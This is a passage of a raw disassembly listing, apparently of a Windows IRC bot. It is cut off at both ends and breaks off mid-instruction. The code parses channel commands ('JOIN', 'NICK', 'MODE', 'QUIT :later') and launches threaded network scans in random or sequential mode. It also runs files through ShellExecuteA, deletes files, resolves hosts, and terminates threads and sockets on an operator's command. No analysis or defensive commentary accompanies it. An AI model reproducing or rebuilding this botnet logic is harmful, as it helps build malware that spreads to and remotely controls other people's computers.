--------------------------------------------------------------------------- loc_410CC4: ; CODE XREF: sub_40CE55+3E57j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434648 jmp loc_40F704 ; --------------------------------------------------------------------------- loc_410CD5: ; CODE XREF: sub_40CE55+3D1Dj push offset unk_4345F0 jmp loc_410B43 ; --------------------------------------------------------------------------- loc_410CDF: ; CODE XREF: sub_40CE55+23B4j ; sub_40CE55+23CBj push [ebp+var_90] push offset dword_43646C call sub_415910 pop ecx test eax, eax pop ecx jz loc_40D219 cmp [ebp+var_C], ebx jz loc_40D219 push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 push eax lea eax, [ebp+var_2C8] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_4345E0 push eax call sub_4154E7 lea eax, [ebp+var_2C8] push 1FFh push eax push [ebp+arg_0] call sub_416D40 push edi call sub_415A5F add esp, 30h test eax, eax jle short loc_410D66 push edi call sub_415A5F imul eax, 3E8h pop ecx push eax call dword_421060 ; Sleep loc_410D66: ; CODE XREF: sub_40CE55+3EFBj push offset dword_4345B8 call sub_40B16D mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40D21C ; --------------------------------------------------------------------------- loc_410D7A: ; CODE XREF: sub_40CE55+2386j ; sub_40CE55+239Dj push [ebp+var_90] push offset dword_43646C call sub_415910 pop ecx test eax, eax pop ecx jz loc_40D219 cmp [ebp+var_C], ebx jz loc_41298E push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_415910 add esp, 10h test eax, eax push esi jz short loc_410E36 push [ebp+var_8C] lea eax, [ebp+var_2C8] push [ebp+var_90] push [ebp+var_94] push offset dword_4345E0 push eax call sub_4154E7 lea eax, [ebp+var_2C8] push 1FFh push eax push [ebp+arg_0] call sub_416D40 push esi lea eax, [ebp+var_2C8] push offset dword_434584 push eax call sub_4154E7 lea eax, [ebp+var_2C8] push eax call sub_40B16D push edi call sub_415A5F add esp, 38h test eax, eax jle loc_41298E push edi call sub_415A5F add eax, [ebp+arg_24] pop ecx jmp loc_40D21C ; --------------------------------------------------------------------------- loc_410E36: ; CODE XREF: sub_40CE55+3F6Aj push offset dword_43453C jmp loc_40F704 ; --------------------------------------------------------------------------- loc_410E40: ; CODE XREF: sub_40CE55+2358j ; sub_40CE55+236Fj push [ebp+arg_18] lea eax, [ebp+var_2C8] push offset dword_434534 push eax call sub_4154E7 push edi call sub_415A5F add esp, 10h loc_410E5D: ; CODE XREF: sub_40CE55+4072j test eax, eax jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E loc_410E77: ; CODE XREF: sub_40CE55+4907j lea eax, [ebp+var_2C8] push eax push offset dword_425050 push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F534[eax] call sub_412D06 loc_410E9B: ; CODE XREF: sub_40CE55+579Ej add esp, 0Ch jmp loc_41298E ; --------------------------------------------------------------------------- loc_410EA3: ; CODE XREF: sub_40CE55+232Aj ; sub_40CE55+2341j push [ebp+esi+var_88] lea eax, [ebp+var_2C8] push [ebp+arg_18] push offset dword_434528 push eax call sub_4154E7 push edi call sub_415A5F add esp, 14h jmp short loc_410E5D ; --------------------------------------------------------------------------- loc_410EC9: ; CODE XREF: sub_40CE55+22FCj ; sub_40CE55+2313j push [ebp+arg_18] lea eax, [ebp+var_2C8] push offset dword_434520 push eax call sub_4154E7 push edi call sub_415A5F add esp, 10h test eax, eax jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E lea eax, [ebp+var_2C8] push eax push offset dword_425050 push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F534[eax] call sub_412D06 push [ebp+arg_18] push edi push offset dword_4344F0 loc_410F2D: ; CODE XREF: sub_40CE55+4162j ; sub_40CE55+41CDj ... call sub_40B1E1 loc_410F32: ; CODE XREF: sub_40CE55+546Ej add esp, 18h jmp loc_41298E ; --------------------------------------------------------------------------- loc_410F3A: ; CODE XREF: sub_40CE55+22CEj ; sub_40CE55+22E5j cmp [ebp+var_C], ebx jz loc_41298E push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_410F6B push esi lea eax, [ebp+var_2C8] push offset dword_4344E8 push eax call sub_4154E7 add esp, 0Ch loc_410F6B: ; CODE XREF: sub_40CE55+40FFj push edi call sub_415A5F test eax, eax pop ecx jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E lea eax, [ebp+var_2C8] push eax push offset dword_425050 push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F534[eax] call sub_412D06 push esi push edi push offset dword_4344B8 jmp loc_410F2D ; --------------------------------------------------------------------------- loc_410FBC: ; CODE XREF: sub_40CE55+22A0j ; sub_40CE55+22B7j cmp [ebp+var_C], ebx jz loc_41298E push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41298E push edi call sub_415A5F test eax, eax pop ecx jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E push esi push offset dword_425050 push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F534[eax] call sub_412D06 push esi push edi push offset dword_434488 jmp loc_410F2D ; --------------------------------------------------------------------------- loc_411027: ; CODE XREF: sub_40CE55+2272j ; sub_40CE55+2289j cmp [ebp+var_C], ebx jz loc_41298E push edi push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41298E push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_412D06 push esi push offset dword_43444C loc_411059: ; CODE XREF: sub_40CE55+4AACj ; sub_40CE55+4AC5j ... call sub_40B1E1 loc_41105E: ; CODE XREF: sub_40CE55+4272j add esp, 14h jmp loc_41298E ; --------------------------------------------------------------------------- loc_411066: ; CODE XREF: sub_40CE55+2244j ; sub_40CE55+225Bj push [ebp+var_90] push offset dword_43646C call sub_415910 pop ecx test eax, eax pop ecx jz loc_40D219 push [ebp+arg_18] push offset dword_434440 push [ebp+arg_4] call sub_412D06 push edi call sub_415A5F imul eax, 3E8h add esp, 10h push eax call dword_421060 ; Sleep push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412D06 push offset dword_434418 call sub_40B16D jmp short loc_41105E ; --------------------------------------------------------------------------- loc_4110C9: ; CODE XREF: sub_40CE55+2216j ; sub_40CE55+222Dj cmp [ebp+var_C], ebx jz loc_41298E push edi call sub_415CF0 push [ebp+arg_8] mov esi, eax call sub_415CF0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_415AC0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_41298E push esi lea eax, [ebp+var_2C8] push offset dword_434CB0 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push ebx push eax push edi push [ebp+arg_4] call sub_412D4C push esi push edi push offset dword_4343E8 call sub_40B1E1 add esp, 2Ch jmp loc_41298E ; --------------------------------------------------------------------------- loc_411137: ; CODE XREF: sub_40CE55+21E8j ; sub_40CE55+21FFj cmp [ebp+var_C], ebx jz loc_41298E push edi call sub_415CF0 push [ebp+arg_8] mov esi, eax call sub_415CF0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_415AC0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_41298E push ebx push ebx push esi push edi push [ebp+arg_4] call sub_412D4C push esi push edi push offset dword_4343B8 call sub_40B1E1 jmp loc_40FD65 ; --------------------------------------------------------------------------- loc_41118A: ; CODE XREF: sub_40CE55+21BAj ; sub_40CE55+21D1j cmp [ebp+var_C], ebx jz loc_40D219 push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz loc_40D219 push eax push edi call sub_40B075 push edi lea eax, [ebp+var_2C8] push offset dword_434388 push eax call sub_4154E7 loc_4111C1: ; CODE XREF: sub_40CE55+3B44j add esp, 14h jmp loc_40F7B1 ; --------------------------------------------------------------------------- loc_4111C9: ; CODE XREF: sub_40CE55+217Aj ; sub_40CE55+2191j push edi push [ebp+arg_1C] call sub_415AC0 pop ecx test eax, eax pop ecx jz loc_41298E mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_411266 push esi push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41124E push esi lea eax, [ebp+var_2C8] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_4345E0 push eax call sub_4154E7 lea eax, [ebp+var_2C8] push 1FFh push eax push [ebp+arg_0] call sub_416D40 push esi push edi lea eax, [ebp+var_2C8] push offset dword_434350 push eax call sub_4154E7 add esp, 34h inc [ebp+arg_24] jmp loc_4124D6 ; --------------------------------------------------------------------------- loc_41124E: ; CODE XREF: sub_40CE55+43A1j lea eax, [ebp+var_2C8] push offset dword_43430C push eax call sub_4154E7 pop ecx pop ecx jmp loc_4124D6 ; --------------------------------------------------------------------------- loc_411266: ; CODE XREF: sub_40CE55+4390j push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40AD85 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C push edi push offset dword_4342E0 lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A add esp, 24h jmp loc_4124D6 ; --------------------------------------------------------------------------- loc_4112AD: ; CODE XREF: sub_40CE55+1B7Fj ; sub_40CE55+1B96j push offset aR ; "r" push edi call sub_415BE8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_411327 mov ebx, 200h push esi lea eax, [ebp+var_2C8] push ebx push eax call sub_41713C add esp, 0Ch loc_4112D6: ; CODE XREF: sub_40CE55+44B0j test eax, eax jz short loc_411307 push 1 lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C push esi lea eax, [ebp+var_2C8] push ebx push eax call sub_41713C add esp, 20h jmp short loc_4112D6 ; --------------------------------------------------------------------------- loc_411307: ; CODE XREF: sub_40CE55+4483j push esi call sub_415B40 push edi lea eax, [ebp+var_2C8] push offset dword_4342A8 push eax call sub_4154E7 add esp, 10h jmp loc_40EFA7 ; --------------------------------------------------------------------------- loc_411327: ; CODE XREF: sub_40CE55+4469j push edi push offset dword_434274 jmp loc_412869 ; --------------------------------------------------------------------------- loc_411332: ; CODE XREF: sub_40CE55+1B51j ; sub_40CE55+1B68j cmp [ebp+var_C], ebx jz loc_41298E push edi push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41298E push offset asc_426CB4 ; "\n" push esi call sub_415C10 push esi call sub_40A5E9 add esp, 0Ch test eax, eax jnz short loc_411372 push offset dword_434234 jmp loc_410B43 ; --------------------------------------------------------------------------- loc_411372: ; CODE XREF: sub_40CE55+4511j push esi push offset dword_434208 jmp loc_4124C7 ; --------------------------------------------------------------------------- loc_41137D: ; CODE XREF: sub_40CE55+1B23j ; sub_40CE55+1B3Aj cmp [ebp+var_C], ebx jz loc_41298E push edi push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz loc_41298E push eax call sub_409CCD test eax, eax pop ecx jnz short loc_4113AE push offset unk_4341D8 jmp loc_410B43 ; --------------------------------------------------------------------------- loc_4113AE: ; CODE XREF: sub_40CE55+454Dj push offset dword_4341A8 jmp loc_410B43 ; --------------------------------------------------------------------------- loc_4113B8: ; CODE XREF: sub_40CE55+1AF5j ; sub_40CE55+1B0Cj push 7Fh lea eax, [ebp+var_6F4] push edi push eax call sub_416D40 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_4113E7 push 7Fh lea eax, [ebp+var_674] push esi push eax call sub_416D40 add esp, 0Ch loc_4113E7: ; CODE XREF: sub_40CE55+457Ej push 7Fh lea eax, [ebp+var_5F4] push [ebp+var_8C] push eax call sub_416D40 mov eax, [ebp+arg_4] push edi mov [ebp+var_6F8], eax mov eax, [ebp+var_8] mov [ebp+var_570], eax mov eax, [ebp+var_4] mov [ebp+var_56C], eax lea eax, [ebp+var_2C8] push offset dword_43417C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 14h push eax call sub_414F93 add esp, 24h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F8] push ebx push eax push offset sub_40AE4B push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_411485 loc_41146F: ; CODE XREF: sub_40CE55+462Ej cmp [ebp+var_568], ebx jnz loc_4124D6 push 32h call dword_421060 ; Sleep jmp short loc_41146F ; --------------------------------------------------------------------------- loc_411485: ; CODE XREF: sub_40CE55+4618j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_43412C jmp loc_4124C7 ; --------------------------------------------------------------------------- loc_411496: ; CODE XREF: sub_40CE55+1AC7j ; sub_40CE55+1ADEj push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_4063B0 push edi push offset dword_434104 jmp loc_410F2D ; --------------------------------------------------------------------------- loc_4114B1: ; CODE XREF: sub_40CE55+1A99j ; sub_40CE55+1AB0j push 14h lea eax, [ebp+var_710] push ebx push eax call sub_415570 push edi lea eax, [ebp+var_6FC] push offset aS_1 ; "%s" push eax call sub_4154E7 mov eax, [ebp+arg_4] mov [ebp+var_718], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_5F8] push 80h push eax call sub_415A6A mov eax, [ebp+var_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax lea eax, [ebp+var_5F8] push eax lea eax, [ebp+var_6FC] push eax lea eax, [ebp+var_2C8] push offset dword_4340CC push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 12h push eax call sub_414F93 add esp, 40h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_718] push ebx push eax push offset sub_40B712 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_411581 loc_41156B: ; CODE XREF: sub_40CE55+472Aj cmp [ebp+var_568], ebx jnz loc_41284E push 32h call dword_421060 ; Sleep jmp short loc_41156B ; --------------------------------------------------------------------------- loc_411581: ; CODE XREF: sub_40CE55+4714j call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_43636C jmp loc_41283F ; --------------------------------------------------------------------------- loc_411592: ; CODE XREF: sub_40CE55+1A6Bj ; sub_40CE55+1A82j push edi call dword_421118 ; DeleteFileA test eax, eax jz short loc_4115A5 push edi push offset dword_43409C jmp short loc_4115B0 ; --------------------------------------------------------------------------- loc_4115A5: ; CODE XREF: sub_40CE55+4746j push offset dword_4347DC call sub_409C08 push eax loc_4115B0: ; CODE XREF: sub_40CE55+474Ej lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A add esp, 10h jmp loc_40EF86 ; --------------------------------------------------------------------------- loc_4115C9: ; CODE XREF: sub_40CE55+1A3Dj ; sub_40CE55+1A54j push edi call sub_415A5F push eax call sub_414061 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4115E6 push offset dword_434064 jmp short loc_4115EB ; --------------------------------------------------------------------------- loc_4115E6: ; CODE XREF: sub_40CE55+4788j push offset dword_43401C loc_4115EB: ; CODE XREF: sub_40CE55+478Fj lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_40EFAA push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h jmp loc_40EFAA ; --------------------------------------------------------------------------- loc_411624: ; CODE XREF: sub_40CE55+1A0Fj ; sub_40CE55+1A26j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_413DD2 add esp, 18h cmp eax, 1 push edi jnz short loc_411646 push offset dword_433FE4 jmp loc_412869 ; --------------------------------------------------------------------------- loc_411646: ; CODE XREF: sub_40CE55+47E5j push offset dword_433FA0 jmp loc_412869 ; --------------------------------------------------------------------------- loc_411650: ; CODE XREF: sub_40CE55+19E1j ; sub_40CE55+19F8j push edi call dword_43A3D8 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_41168D push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43A350 ; gethostbyaddr cmp eax, ebx jz short loc_4116A8 push dword ptr [eax] loc_411673: ; CODE XREF: sub_40CE55+4851j push edi lea eax, [ebp+var_2C8] push offset dword_433F70 push eax call sub_4154E7 add esp, 10h jmp loc_40F713 ; --------------------------------------------------------------------------- loc_41168D: ; CODE XREF: sub_40CE55+4808j push edi call dword_43A41C ; gethostbyname cmp eax, ebx jz short loc_4116A8 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43A424 ; inet_ntoa push eax jmp short loc_411673 ; --------------------------------------------------------------------------- loc_4116A8: ; CODE XREF: sub_40CE55+481Aj ; sub_40CE55+4841j push offset dword_433F34 jmp loc_410B43 ; --------------------------------------------------------------------------- loc_4116B2: ; CODE XREF: sub_40CE55+19B3j ; sub_40CE55+19CAj push 7Fh push edi push [ebp+arg_14] call sub_416D40 push edi lea eax, [ebp+var_2C8] push offset dword_433EFC push eax call sub_4154E7 add esp, 18h jmp loc_40ECC3 ; --------------------------------------------------------------------------- loc_4116D7: ; CODE XREF: sub_40CE55+1985j ; sub_40CE55+199Cj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43A30C ; ShellExecuteA test eax, eax push edi jz short loc_4116F7 push offset unk_433ECC jmp loc_412869 ; --------------------------------------------------------------------------- loc_4116F7: ; CODE XREF: sub_40CE55+4896j push offset unk_433E94 jmp loc_412869 ; --------------------------------------------------------------------------- loc_411701: ; CODE XREF: sub_40CE55+1957j ; sub_40CE55+196Ej mov al, [edi] mov byte_42C19C, al movsx eax, byte ptr [edi] push eax push offset dword_433E5C jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_411716: ; CODE XREF: sub_40CE55+1929j ; sub_40CE55+1940j push edi call sub_415A5F test eax, eax pop ecx jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E push ebx push ebx lea eax, [ebp+var_A4] push 2 push eax call sub_414433 push eax lea eax, [ebp+var_2C8] push offset dword_434520 push eax call sub_4154E7 add esp, 1Ch jmp loc_410E77 ; --------------------------------------------------------------------------- loc_411761: ; CODE XREF: sub_40CE55+18FBj ; sub_40CE55+1912j push edi call sub_415A5F test eax, eax pop ecx jle loc_40D219 push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_40D219 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F534[eax] call sub_412D06 pop ecx pop ecx push 1F4h call dword_421060 ; Sleep push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F534[eax] call dword_43A430 ; closesocket push [ebp+var_10] push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F53C[eax] call dword_421130 ; TerminateThread push edi call sub_415A5F imul eax, 234h push edi mov dword_43F53C[eax], ebx call sub_415A5F imul eax, 234h pop ecx pop ecx mov byte ptr dword_43F328[eax], bl jmp loc_40D219 ; --------------------------------------------------------------------------- loc_41180C: ; CODE XREF: sub_40CE55+18CDj ; sub_40CE55+18E4j push edi push offset aAll ; "all" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_41183B call sub_41515C cmp eax, ebx jle short loc_411831 push eax push offset dword_433E0C jmp loc_40F7A2 ; --------------------------------------------------------------------------- loc_411831: ; CODE XREF: sub_40CE55+49CFj push offset dword_433DD0 jmp loc_41202C ; --------------------------------------------------------------------------- loc_41183B: ; CODE XREF: sub_40CE55+49C6j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_40D219 lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_411857: ; CODE XREF: sub_40CE55+4A73j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40D219 push esi call sub_415A5F push eax call sub_4150CE pop ecx pop ecx test eax, eax push esi jz short loc_41187E push offset dword_433D98 jmp short loc_411883 ; --------------------------------------------------------------------------- loc_41187E: ; CODE XREF: sub_40CE55+4A20j push offset dword_433D58 loc_411883: ; CODE XREF: sub_40CE55+4A27j lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4118B3 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_4118B3: ; CODE XREF: sub_40CE55+4A40j lea eax, [ebp+var_2C8] push eax call sub_40B16D add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_411857 jmp loc_40D219 ; --------------------------------------------------------------------------- loc_4118CF: ; CODE XREF: sub_40CE55+189Fj ; sub_40CE55+18B6j cmp [ebp+var_C], ebx jz loc_41298E push edi push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41298E push esi push offset dword_425050 push [ebp+arg_4] call sub_412D06 push esi push offset dword_433D2C jmp loc_411059 ; --------------------------------------------------------------------------- loc_411906: ; CODE XREF: sub_40CE55+1871j ; sub_40CE55+1888j push edi push offset dword_434440 push [ebp+arg_4] call sub_412D06 push edi push offset dword_433CF8 jmp loc_411059 ; --------------------------------------------------------------------------- loc_41191F: ; CODE XREF: sub_40CE55+1843j ; sub_40CE55+185Aj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412D06 push edi push offset dword_433CC4 jmp loc_410F2D ; --------------------------------------------------------------------------- loc_41193F: ; CODE XREF: sub_40CE55+1815j ; sub_40CE55+182Cj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_412D06 push edi push offset dword_433C8C jmp loc_411059 ; --------------------------------------------------------------------------- loc_411958: ; CODE XREF: sub_40CE55+17DAj ; sub_40CE55+17EFj mov al, byte_4276A2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4276A2 jz loc_40D219 mov ecx, edx loc_41196F: ; CODE XREF: sub_40CE55+4B22j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_41196F cmp al, bl jz loc_40D219 mov [ebp+arg_18], edx loc_411984: ; CODE XREF: sub_40CE55+4DE9j push 8 call sub_4151DB pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 12Ch jle short loc_4119D3 push ecx lea eax, [ebp+var_2C8] push offset dword_434DE0 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 20h jmp loc_411C35 ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_40CE55+4B49j or [ebp+var_300], 0FFFFFFFFh cmp dword_427338, ebx mov [ebp+var_304], 64h mov [ebp+var_318], 5 mov [ebp+var_314], ebx mov [ebp+arg_0], ebx jz short loc_411A40 mov eax, [ebp+arg_18] mov edi, offset dword_427338 lea esi, [eax-0Ah] loc_411A0A: ; CODE XREF: sub_40CE55+4BCDj lea eax, [edi-28h] push esi push eax call sub_415910 pop ecx test eax, eax pop ecx jz short loc_411A26 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_411A0A jmp short loc_411A40 ; --------------------------------------------------------------------------- loc_411A26: ; CODE XREF: sub_40CE55+4BC3j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_300], eax imul ecx, 3Ch mov ecx, dword_427338[ecx] mov [ebp+var_31C], ecx loc_411A40: ; CODE XREF: sub_40CE55+4BA8j ; sub_40CE55+4BCFj cmp [ebp+var_31C], ebx jz loc_411C49 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2D8] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43A33C ; getsockname mov al, [ebp+var_9B3] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2D4], eax push [ebp+var_2D4] call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_430] push eax call sub_416D40 xor eax, eax cmp [ebp+var_9B3], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_430] push eax call sub_417040 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_411AE2 loc_411AC0: ; CODE XREF: sub_40CE55+4C8Bj cmp eax, ebx jz short loc_411AE2 mov byte ptr [eax], 78h lea eax, [ebp+var_430] push 30h push eax call sub_417040 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_411AC0 loc_411AE2: ; CODE XREF: sub_40CE55+4C69j ; sub_40CE55+4C6Dj mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_320], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_2F4], eax lea eax, [ebp+var_420] push edi push eax mov [ebp+var_2F0], 1 mov [ebp+var_2F8], esi call sub_415A6A push offset byte_438FBC push offset dword_42C244 call sub_415910 add esp, 14h test eax, eax jz short loc_411B4C push offset dword_42C244 lea eax, [ebp+var_3A0] push edi push eax call sub_415A6A add esp, 0Ch jmp short loc_411B52 ; --------------------------------------------------------------------------- loc_411B4C: ; CODE XREF: sub_40CE55+4CDEj mov [ebp+var_3A0], bl loc_411B52: ; CODE XREF: sub_40CE55+4CF5j cmp [ebp+var_2F0], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_411B64 mov eax, offset aSequential ; "Sequential" loc_411B64: ; CODE XREF: sub_40CE55+4D08j push [ebp+var_304] lea ecx, [ebp+var_430] push [ebp+var_314] push [ebp+var_318] push [ebp+var_31C] push ecx push eax lea eax, [ebp+var_2C8] push offset dword_433C10 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 8 push eax call sub_414F93 add esp, 2Ch mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_430] push ebx push eax push offset sub_40799F push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_411BEE loc_411BDC: ; CODE XREF: sub_40CE55+4D97j cmp [ebp+var_2EC], ebx jnz short loc_411C09 push 32h call dword_421060 ; Sleep jmp short loc_411BDC ; --------------------------------------------------------------------------- loc_411BEE: ; CODE XREF: sub_40CE55+4D85j call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C8] push offset dword_434CBC push eax call sub_4154E7 add esp, 0Ch loc_411C09: ; CODE XREF: sub_40CE55+4D8Dj cmp [ebp+var_8], ebx jnz short loc_411C28 push ebx lea eax, [ebp+var_2C8] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_411C28: ; CODE XREF: sub_40CE55+4DB7j lea eax, [ebp+var_2C8] push eax call sub_40B16D pop ecx loc_411C35: ; CODE XREF: sub_40CE55+4B79j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_411984 jmp loc_40D219 ; --------------------------------------------------------------------------- loc_411C49: ; CODE XREF: sub_40CE55+2FDCj ; sub_40CE55+4BF1j push offset dword_433BC4 jmp loc_41202C ; --------------------------------------------------------------------------- loc_411C53: ; CODE XREF: sub_40CE55+17B0j ; sub_40CE55+17C5j push 4 call sub_4151DB test eax, eax pop ecx jle short loc_411C69 push offset unk_433B90 jmp loc_40EBA7 ; --------------------------------------------------------------------------- loc_411C69: ; CODE XREF: sub_40CE55+4E08j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_411C8C push eax mov edi, 104h lea eax, [ebp+var_804] push edi push eax call sub_415A6A add esp, 0Ch jmp short loc_411CA0 ; --------------------------------------------------------------------------- loc_411C8C: ; CODE XREF: sub_40CE55+4E1Dj mov edi, 104h lea eax, [ebp+var_804] push edi push eax push ebx call dword_42107C ; GetModuleFileNameA loc_411CA0: ; CODE XREF: sub_40CE55+4E35j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_411CB0 mov esi, offset byte_42C1FC loc_411CB0: ; CODE XREF: sub_40CE55+4E54j push esi lea eax, [ebp+var_700] push edi push eax call sub_415A6A mov eax, dword_42C188 push 7Fh push [ebp+var_8C] mov [ebp+var_5F4], eax mov eax, [ebp+arg_4] mov [ebp+var_5F8], ebx mov [ebp+var_808], eax lea eax, [ebp+var_5F0] push eax call sub_416D40 mov eax, [ebp+var_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax lea eax, [ebp+var_700] push eax lea eax, [ebp+var_804] push eax lea eax, [ebp+var_2C8] push [ebp+var_5F4] push offset unk_4278F4 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 4 push eax call sub_414F93 add esp, 38h mov [ebp+var_5FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_808] push ebx push eax push offset sub_406C3E push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_5FC] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_411D80 loc_411D6A: ; CODE XREF: sub_40CE55+4F29j cmp [ebp+var_568], ebx jnz loc_40ECC3 push 32h call 